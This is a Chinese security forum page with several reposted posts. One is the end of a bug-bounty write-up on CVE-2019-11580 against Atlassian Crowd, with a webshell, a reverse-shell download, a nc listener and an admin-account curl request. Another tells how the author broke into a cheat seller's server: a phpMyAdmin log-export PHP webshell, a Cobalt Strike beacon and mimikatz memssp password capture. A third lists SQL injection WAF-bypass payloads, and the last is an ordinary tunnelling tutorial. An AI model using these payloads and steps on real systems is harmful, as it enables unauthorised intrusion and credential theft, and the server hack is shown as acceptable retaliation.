现在,我们从https://github.com/jas502n/CVE-2019-11580下载漏洞利用代码CVE-2019-11580.py,以当前Atlassian Crowd应用为目标,它确实存在CVE-2019-11580漏洞,并反弹回了一个webshell,如下:
接着,就可以通过浏览器浏览http://xx.xx.xx.xx/crowd/plugins/servlet/exp?cmd=command_here,访问到这个webshell了,当然其中的command_here可以替换成其它系统命令。如下:
所以,总结来看,该漏洞利用有三个好处:
1、无需任何用户账户密码;
2、RCE是以root身份执行的;
3、该Atlassian Crowd应用无任何安全防护。
但这还不够,我们需要一个能与目标系统执行交互的Webshell!
这里,我的想法是通过我的Attacker主机,实现对目标应用系统的操控交互。通常我用的是PentestMonkey上提供的反弹Shell,但可惜的是,其中的交互命令在与我的Attacker主机连接执行时没有任何回连显示,很可能是目标Web应用过滤了如> & 以及‘ “这些特殊字符。
为此,我只有在我的Attacker主机放置了一个回连python脚本reverse.py,然后通过之前的RCE命令迫使目标Web应用来对它执行下载,然后再通过我的Attacker主机连接它,实现控制。具体的python回连脚本reverse.py如下:
目标Web应用从我的Attacker主机中下载python回连脚本reverse.py:
就这样,我们就向目标Web应用系统中植入了一个反弹脚本,之后,需要对该脚本文件进行chmod权限修改以便我们能访问执行,如可以把它修改为700:
目标Web应用下载了reverse.py后,我们这边的Attacker主机需要设置一个监听端口:
$ nc -lvp <our_port>
然后,用之前的RCE shell使目标Web应用执行脚本reverse.py。但是,这还不算真正意义上的交互shell,如果把它设置为伪终端方式就更好了,所以,可以在终端窗口中执行以下python命令实现脚本的伪终端显示:
python -c 'import pty;pty.spawn("/bin/bash")'
到此,我们就获得了目标Web应用系统的一个控制shell:
通过运行reverse.py,我们就能无障碍地去连接目标Web应用系统中的数据库或其它运行服务了:
内部系统探测
这里我们获得的RCE,一个有利因素就是该服务器位于目标公司的内部网络中,当在上述交互webshell是去ping一些目标公司的公开系统时,返回响应中得到的是一些内部IP地址。也就是说,我们在这个全球知名大型信息通信技术公司的内部网络系统中实现了据点潜伏。之前阶段我们收集获得的大量内部网络信息,在这里就可派上用场了。但是,为了不造成严重影响破坏,不能再深入了,就点到为止吧。
声明:以上主要展示前期信息收集对后期渗透测试的重要性,最终说明问题即可收手,另外这些测试都是在允许授权之内开展的。
最终,尽管发现的该漏洞不在众测范围之内(out-scope),但确实是一次奇妙的渗透之旅。能以信息收集、目标分析和线索映证测试的方式,从知名信通公司的外部网络中打到内部系统,并实现RCE,已经非常不简单了。就像我们白帽平时开玩笑说的“要在漏洞测试中发现RCE漏洞,简单就是天方夜谭”。之后我及时上报了该漏洞,并收到目标公司的快速响应。
连接内部Crowd应用数据库
上述因为目标公司部署有Atlassian Crowd应用的系统存在漏洞,导致了最终我的RCE。那或许有人会问,能不能尝试登录其它的Atlassian Crowd应用或相关数据库呢?
我们也来看看。经测试发现,为配合Atlassian Crowd的使用,目标公司在该服务器上也安装了Atlassian协同办公组件Confluence,而我对Atlassian Crowd和Atlassian Confluence的协同工作机制根本不懂,但我在netstat命令下观察到了数据库连接,所以我想其中肯定涉及到一些密码信息的存储。经过对Atlassian Confluence的研究分析,我发现其密码信息存储在<confluence_home>/confluence.cfg.xml文件中。
使用locate命令,我在目标系统中发现了confluence.cfg.xml文件,更高兴的是,其中的密码信息完全是明文:
就这样,利用其中的密码信息,我成功登录到了其相关数据库:
登录了上述Crowd数据库之后,我就在想能不能把这个登录密码进行修改,换成我们自己的呢?我觉得应该是可行的,因为Atlassian在官方文档里有密码替换更改的说明,在如下介绍中,我们可以用哈希过的字符串去替换管理员原来的密码。
由于这是一个漏洞测试项目,因为没有密码修改授权,所以我们不能擅自进行这种密码替换更改。但如果在真实的攻击场景下,攻击者完全可以实现这种操作,对系统造成影响。那如果不能修改替换密码,我们可以选择创建一个新账户的方法来测试。经过查找发现,只要知道管理员账号密码,就可以通过REST请求方式来创建Atlassian Crowd的新账户:
上述操作的请求格式如下:
curl -i -X POSThttp://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_here-H 'Content-type: application/json' -H 'Accept: application/json' -u crowd_administrator_username_here:crowd_administrator_password_here -d'
> {
> "email": "your@email_here.tld",
> "name": "your_new_user_here",
> "password": {
> "value": "your_new_user_password_here"
> }
> }
> '
your_new_user_here = 将要创建的账户名
crowd_administrator_username_here = Crowd的管理员名称
crowd_administrator_password_here = Crowd的管理员密码
your@email_here.tld = 将要创建账户的绑定邮箱
your_new_user_password_here =将要创建账户的密码
之后,进行账户激活,我们就可成功创建一个新的Crowd账户:
然后进行登录:
经验总结
1、前期的信息收集(Recon)至关重要,通过其我们可以了解目标应用的API工作机制和开发环境等因素。在此借用大牛@Mongobug和@NahamSec对Recon的原话:
“前期信息收集(Recon)不仅可以发现目标系统的资产环境和过期版本信息,还可以掌握相关的应用架构,并获取到一些很难探测到的功能特性。因此,成功的测试需要在前期信息收集和实际渗透过程中保持一种平衡。”
2、不要丢掉任何你搜集到的数据和信息,说不定在之后的测试中可以发挥作用。该次测试中,我就是综合利用了前期收集的有用线索,最终成功在后续阶段实现了突破验证了RCE漏洞,收获了$9,000的奖励;
3、享受你的每次漏洞测试或渗透测试活动,不要太过于看重赏金(Bounty)。尽量去测试那些合法或官方的项目,多动手多思考多学习,这样才能快速地提高你的测试技能,扩展你的知识面;
4、可以多参与一些官方的漏洞责任披露项目,从中好好练手,储备经验;
5、高手和大牛都不是天生的,他们曾经也是菜鸟。
转载自FreeBuf.com
记一次对PUBG外挂病毒的反制过程【转】
渗透测试 • 你可以叫我风平 发表了文章 • 0 个评论 • 312 次浏览 • 2020-04-21 16:36
这事还要从一只蝙蝠开始说起………..疫情的原因在家闲的翻箱倒柜,翻出了这么个玩意,没错这就是“压qiang神器”想当初我把把落地成盒又在某宝铺天盖地的推送下,忍痛割爱花了百来块钱买了这神器
买回来后开始后悔了,经过简单的观察分析此USB的行为,并非啥智能压qiang芯片,实际上就是一个软件加密狗的USB加密了商家给发的无后坐软件,通过对某宝搜索加密狗USB看看这价格,属实暴利
二、故事开始
因翻出了此USB加密狗,心血来潮想开把游戏试试还有没有效果,进入商家之前提供的下载地址下载软件,这次幸运的忘了关杀毒软件,哦豁??这是嘛呀,这图标咋这么熟悉呢,这不是赤裸裸的远控吗,难怪商家之前一直强调要先关了杀毒软件在打开,原来藏着这么大的猫腻。
之前也一直傻愣愣的把杀毒软件都关了才开始玩的,USB是从去年四月份购入的,合着当了差不多一年的肉鸡了,坑我钱封我号就算了还拿我当肉鸡使,这谁受得了必须得制裁
三、信息探测
二话不说直接丢到微步沙箱分析一波看看能不能挖出什么重要的信息,软件的持久化跟读取系统信息这类的高危操作行为,确定远控无疑了。
再翻翻有没有跟软件交互的ip或者URL做为入手点,果不其然在大量的URL链接中发现了一条开着http协议的ip地址。
访问之~其http://10x.xx.xx.xx/1/1.txt 内容就是软件上的公告,确定了这台ip是软件的服务器没跑了。
既然开了web的服务,直接上dirmap强大的目录探测工具看看能不能跑出啥重要信息,速度很快不一会探测出了PHPmyadmin等信息。
直接复制路径访问,习惯性的一波弱口令root/root给进去了…….像这类的软件作者安全意识很低几乎没有,因为没有人去抓包去分析流量很难发现背后所交互的ip,果然又是一套phpStudy搭建起来的web服务。
四、Getshell
因为已经拿到了phpmyadmin的数据库且还是root权限的,可利用数据库的日志导出功能导出一句话php。
1.先手动开启日志。
set globalgeneral_log=’on’
2.检查是否开启成功。
show variables like “general_log%”
3.设置日志文件输出的路径,结合PHPinfo文件得到网站的绝对路径,直接输出到web路径下。
set global general_log_file ="C:\phpStudy\PHPTutorial\WWW\info.php"
4.写入一句话,输出到日志文件中。
select ‘<?php eval($_POST['tools']);?>’菜刀连接上刚刚导出的一句话
五、权限提升
到这里就已经拿到了webshell,但shell 的权限还太过于小我们的目标是拿下对方的系统权限,这里我用cs上线方便后续的操作,cs生成上线程序“splww64.exe”,利用菜刀的虚拟终端管理运行我们的程序。
过了几秒Cs这边也上线了。
权限到手后接下来就是激动人心的读取密码了,当然我们已经有了Administrator的权限可以自己添加个新用户,但这样会引起管理员的注意,这里我们用cs自带的mimikatz来抓取用户的登陆密码,但很遗憾的是对方服务器是Windows Server 2012 R2版本的,Windows Server 2012 R2已经修复了以前从内存获取密码的漏洞,并且IPC$的远程认证方式也改变了,导致没办法进行hash注入,因为默认不存储LM hash ,也只能抓取NTLM hash ,基本上也是很难破解成功的。
六、巧取密码
难道就这样半途而废了么,不不不,敲黑板敲黑板了,Mimikatz –内存中的SSP,当用户再次通过系统进行身份验证时,将在System32中创建一个日志文件,其中将包含纯文本用户密码,此操作不需要重启目标机子,只需要锁屏对方再登陆时即可记录下明文密码,需另传mimikatz.exe程序到目标机子,然后在cs终端执行
C:/mimikazt.exe privilege::debug misc::memssp exit当看到Injected =)的时候,表明已经注入成功。
接下来就是使对方的屏幕锁屏,终端键入
rundll32.exe user32.dll,LockWorkStation命令。
过了许久…..许久….再次使用
net user Administrator
查看用户登陆情况
在管理员再次输入密码登录时,明文密码会记录在C:\Windows\System32\mimilsa.log文件,在查看目标机子产生的log文件时间刚好对应得上,下载到本地打开之~。
七、登陆系统
目标机子的明文密码已经取到手了,接下来上nmap全端口扫描出RDP远程登陆端口,执行
nmap -p 1-65355 10x.xx.xx.xx可看到目标机子的端口是默认的3389端口。
八、知识点
1.提取exe程序交互的ip或者URL作为入手点。
2.Phpmyadmin日志导出获取webshell。
3.Mimikatz表明注入取得明文password。
九、总结
因一条root/root口令导致后面一连串的控制权限提升,应当增强网络安全意识,排查自己所对外开放的资产服务,关闭或修改本身的端口,拒绝弱口令!拒绝弱口令!拒绝弱口令!
查看全部
这事还要从一只蝙蝠开始说起………..疫情的原因在家闲的翻箱倒柜,翻出了这么个玩意,没错这就是“压qiang神器”想当初我把把落地成盒又在某宝铺天盖地的推送下,忍痛割爱花了百来块钱买了这神器
买回来后开始后悔了,经过简单的观察分析此USB的行为,并非啥智能压qiang芯片,实际上就是一个软件加密狗的USB加密了商家给发的无后坐软件,通过对某宝搜索加密狗USB看看这价格,属实暴利
二、故事开始
因翻出了此USB加密狗,心血来潮想开把游戏试试还有没有效果,进入商家之前提供的下载地址下载软件,这次幸运的忘了关杀毒软件,哦豁??这是嘛呀,这图标咋这么熟悉呢,这不是赤裸裸的远控吗,难怪商家之前一直强调要先关了杀毒软件在打开,原来藏着这么大的猫腻。
之前也一直傻愣愣的把杀毒软件都关了才开始玩的,USB是从去年四月份购入的,合着当了差不多一年的肉鸡了,坑我钱封我号就算了还拿我当肉鸡使,这谁受得了必须得制裁
三、信息探测
二话不说直接丢到微步沙箱分析一波看看能不能挖出什么重要的信息,软件的持久化跟读取系统信息这类的高危操作行为,确定远控无疑了。
再翻翻有没有跟软件交互的ip或者URL做为入手点,果不其然在大量的URL链接中发现了一条开着http协议的ip地址。
访问之~其http://10x.xx.xx.xx/1/1.txt 内容就是软件上的公告,确定了这台ip是软件的服务器没跑了。
既然开了web的服务,直接上dirmap强大的目录探测工具看看能不能跑出啥重要信息,速度很快不一会探测出了PHPmyadmin等信息。
直接复制路径访问,习惯性的一波弱口令root/root给进去了…….像这类的软件作者安全意识很低几乎没有,因为没有人去抓包去分析流量很难发现背后所交互的ip,果然又是一套phpStudy搭建起来的web服务。
四、Getshell
因为已经拿到了phpmyadmin的数据库且还是root权限的,可利用数据库的日志导出功能导出一句话php。
1.先手动开启日志。
set globalgeneral_log=’on’
2.检查是否开启成功。
show variables like “general_log%”
3.设置日志文件输出的路径,结合PHPinfo文件得到网站的绝对路径,直接输出到web路径下。
set global general_log_file ="C:\phpStudy\PHPTutorial\WWW\info.php"
4.写入一句话,输出到日志文件中。
select ‘<?php eval($_POST['tools']);?>’
菜刀连接上刚刚导出的一句话五、权限提升
到这里就已经拿到了webshell,但shell 的权限还太过于小我们的目标是拿下对方的系统权限,这里我用cs上线方便后续的操作,cs生成上线程序“splww64.exe”,利用菜刀的虚拟终端管理运行我们的程序。
过了几秒Cs这边也上线了。
权限到手后接下来就是激动人心的读取密码了,当然我们已经有了Administrator的权限可以自己添加个新用户,但这样会引起管理员的注意,这里我们用cs自带的mimikatz来抓取用户的登陆密码,但很遗憾的是对方服务器是Windows Server 2012 R2版本的,Windows Server 2012 R2已经修复了以前从内存获取密码的漏洞,并且IPC$的远程认证方式也改变了,导致没办法进行hash注入,因为默认不存储LM hash ,也只能抓取NTLM hash ,基本上也是很难破解成功的。
六、巧取密码
难道就这样半途而废了么,不不不,敲黑板敲黑板了,Mimikatz –内存中的SSP,当用户再次通过系统进行身份验证时,将在System32中创建一个日志文件,其中将包含纯文本用户密码,此操作不需要重启目标机子,只需要锁屏对方再登陆时即可记录下明文密码,需另传mimikatz.exe程序到目标机子,然后在cs终端执行
C:/mimikazt.exe privilege::debug misc::memssp exit当看到Injected =)的时候,表明已经注入成功。
接下来就是使对方的屏幕锁屏,终端键入
rundll32.exe user32.dll,LockWorkStation命令。
过了许久…..许久….再次使用
net user Administrator
查看用户登陆情况
在管理员再次输入密码登录时,明文密码会记录在C:\Windows\System32\mimilsa.log文件,在查看目标机子产生的log文件时间刚好对应得上,下载到本地打开之~。
七、登陆系统
目标机子的明文密码已经取到手了,接下来上nmap全端口扫描出RDP远程登陆端口,执行
nmap -p 1-65355 10x.xx.xx.xx可看到目标机子的端口是默认的3389端口。
八、知识点
1.提取exe程序交互的ip或者URL作为入手点。
2.Phpmyadmin日志导出获取webshell。
3.Mimikatz表明注入取得明文password。
九、总结
因一条root/root口令导致后面一连串的控制权限提升,应当增强网络安全意识,排查自己所对外开放的资产服务,关闭或修改本身的端口,拒绝弱口令!拒绝弱口令!拒绝弱口令!
SQL注入绕waf
Web安全渗透 • muyu 发表了文章 • 0 个评论 • 419 次浏览 • 2020-04-20 15:39
现在的网站安全意识逐渐变强,waf防御也应运而生,五花八门的安全狗防护着网站安全。而对于一些安全测试,我们就有必要对安全狗进行绕过。为了便于以后安全测试的方便,我们最合理的方法就是对不同waf绕过姿势日积月累。以下是两个waf的绕过姿势:
0x01 绕某狗
以下是有某安全狗的网站,看一下其绕过思路:
我们进行简单的and 1=1 之后发现是会被拦截的,那么我们就直接上fuzz
and 1 like 1 拦截
%23%0a 1=1 拦截
and /*!1=1*/ 不拦截
and hex(1) 不拦截
尝试绕过order by
此狗对结合的order by会进行拦截,那么我们就尝试分开order和by,尝试内联注释不行
order /*!by */ 1 拦截
order%23%0aby 1 不拦截
order --+%0a by 拦截
一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉
order --+all%0a by 1 不拦截 且语句有效
绕 union select
可以按照绕order by的思路尝试防止结合,中间添加一些数据
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截
有些安全狗不会对//里面内容进行校验
/&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截
绕过系统函数(尝试/**/进行绕过)
database() -->database/**/()
database() -->database/*!()*/
user() --> user/**/()
user() -->user/*!()*/0x02 绕过云锁
order by
/*!order*//*!by*/1 拦截
/*!40000/*!30000order*//*!40000/*!30000by*/1 不拦截 这里30000是数据库版本如果大于他就会执行.
时间盲注开始尝试
id=2 and length(database())>1 不拦截,这里我们可以判断出数据库长度.
获取数据库名称
id= 2 and if(ascii(substr(database(),1,1))>120,1,sleep(7)) 拦截
id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7)) 不拦截
id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/) 不拦截
后面内容是查询表和字段,就不再进行尝试,想要更进一步了解可以参照转载文章学习。
参考文章
https://xz.aliyun.com/t/7522
https://blog.csdn.net/bylfsj/article/details/101695699
https://xz.aliyun.com/t/7515 查看全部
现在的网站安全意识逐渐变强,waf防御也应运而生,五花八门的安全狗防护着网站安全。而对于一些安全测试,我们就有必要对安全狗进行绕过。为了便于以后安全测试的方便,我们最合理的方法就是对不同waf绕过姿势日积月累。以下是两个waf的绕过姿势:
0x01 绕某狗
以下是有某安全狗的网站,看一下其绕过思路:
我们进行简单的and 1=1 之后发现是会被拦截的,那么我们就直接上fuzz
and 1 like 1 拦截
%23%0a 1=1 拦截
and /*!1=1*/ 不拦截
and hex(1) 不拦截
尝试绕过order by
此狗对结合的order by会进行拦截,那么我们就尝试分开order和by,尝试内联注释不行
order /*!by */ 1 拦截
order%23%0aby 1 不拦截
order --+%0a by 拦截
一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉
order --+all%0a by 1 不拦截 且语句有效
绕 union select
可以按照绕order by的思路尝试防止结合,中间添加一些数据
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截
有些安全狗不会对//里面内容进行校验
/&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截
绕过系统函数(尝试/**/进行绕过)
database() -->database/**/()0x02 绕过云锁
database() -->database/*!()*/
user() --> user/**/()
user() -->user/*!()*/
order by
/*!order*//*!by*/1 拦截
/*!40000/*!30000order*//*!40000/*!30000by*/1 不拦截 这里30000是数据库版本如果大于他就会执行.
时间盲注开始尝试
id=2 and length(database())>1 不拦截,这里我们可以判断出数据库长度.
获取数据库名称
id= 2 and if(ascii(substr(database(),1,1))>120,1,sleep(7)) 拦截
id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7)) 不拦截
id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/) 不拦截
后面内容是查询表和字段,就不再进行尝试,想要更进一步了解可以参照转载文章学习。
参考文章
https://xz.aliyun.com/t/7522
https://blog.csdn.net/bylfsj/article/details/101695699
https://xz.aliyun.com/t/7515
分享一款免费高速的内网穿透平台
渗透测试 • llpkk 发表了文章 • 4 个评论 • 412 次浏览 • 2020-04-20 10:31
内网穿百透即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透。就是说映射端度口,能让外网的电脑找到处于内网的电脑,提高下载速度。
内网穿透可以干什么?
内网穿透适合在公司,小区宽带,出租屋,校园网,网吧,教育网,等网络结构复杂,限制严格的环境中使用。不需安装访问端就可以成功访问内网的所有网络服务,就和本地访问一样.可成功映射的服务包括:网站,ftp,3389远程桌面,sql数据库,我的世界等各种服务端,视频监控,OA,财务软件,CRM系统,ERP系统,金蝶,用友,速达,美萍,管家婆,新中大,等各种进销存软件,管理软件.
内网穿透平台 sakura frp
官网地址:https://www.natfrp.com/
这个平台纯免费,日常流量都可以签到获得。签到一次就够用好久了。
内网穿透实例---搭建网站
注册完后进入后台选中创建隧道
[b]选择服务器[/b] 选择可建站的就好
[b]隧道名称[/b] 根据规则填写
[b]本地地址[/b] 写本机的ip地址或者127.0.0.1
[b]远程端口 [/b] 填写10240~65535 中的一个
[b]隧道类型[/b] 一般是TCP,根据情况选
[b]本地端口[/b] 填写要代理出去的端口,建站就是80等等
[b]绑定域名[/b] 如果自己有域名的话可以写
随后创建隧道在隧道列表中就能看到
我们还需要下载一个客户端,在软件下载列表中下载
这里给上链接 https://qianqu.me/frp/SakuraFrpLauncher.zip
下载打开之后是这个样子
可以看到隧道列表是空的,需要访问密钥。这个访问密钥就在自己后台的首页中可以看到。
回到客户端输入密钥然后登陆
可以看到Web_test隧道了,这里我先把自己的phpstudy启动
通过127.0.0.1访问
然后我们把Web_test隧道打开
再查看一下日志信息
这样就简单的完成了,别人就可以通过公网访问你本地的环境啦。
如果你有自己的域名就可以邦上自己的域名。 查看全部
内网穿百透即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透。就是说映射端度口,能让外网的电脑找到处于内网的电脑,提高下载速度。
内网穿透可以干什么?
内网穿透适合在公司,小区宽带,出租屋,校园网,网吧,教育网,等网络结构复杂,限制严格的环境中使用。不需安装访问端就可以成功访问内网的所有网络服务,就和本地访问一样.可成功映射的服务包括:网站,ftp,3389远程桌面,sql数据库,我的世界等各种服务端,视频监控,OA,财务软件,CRM系统,ERP系统,金蝶,用友,速达,美萍,管家婆,新中大,等各种进销存软件,管理软件.
内网穿透平台 sakura frp
官网地址:https://www.natfrp.com/
这个平台纯免费,日常流量都可以签到获得。签到一次就够用好久了。
内网穿透实例---搭建网站
注册完后进入后台选中创建隧道
[b]选择服务器[/b] 选择可建站的就好
[b]隧道名称[/b] 根据规则填写
[b]本地地址[/b] 写本机的ip地址或者127.0.0.1
[b]远程端口 [/b] 填写10240~65535 中的一个
[b]隧道类型[/b] 一般是TCP,根据情况选
[b]本地端口[/b] 填写要代理出去的端口,建站就是80等等
[b]绑定域名[/b] 如果自己有域名的话可以写
随后创建隧道在隧道列表中就能看到
我们还需要下载一个客户端,在软件下载列表中下载
这里给上链接 https://qianqu.me/frp/SakuraFrpLauncher.zip
下载打开之后是这个样子
可以看到隧道列表是空的,需要访问密钥。这个访问密钥就在自己后台的首页中可以看到。
回到客户端输入密钥然后登陆
可以看到Web_test隧道了,这里我先把自己的phpstudy启动
通过127.0.0.1访问
然后我们把Web_test隧道打开
再查看一下日志信息
这样就简单的完成了,别人就可以通过公网访问你本地的环境啦。
如果你有自己的域名就可以邦上自己的域名。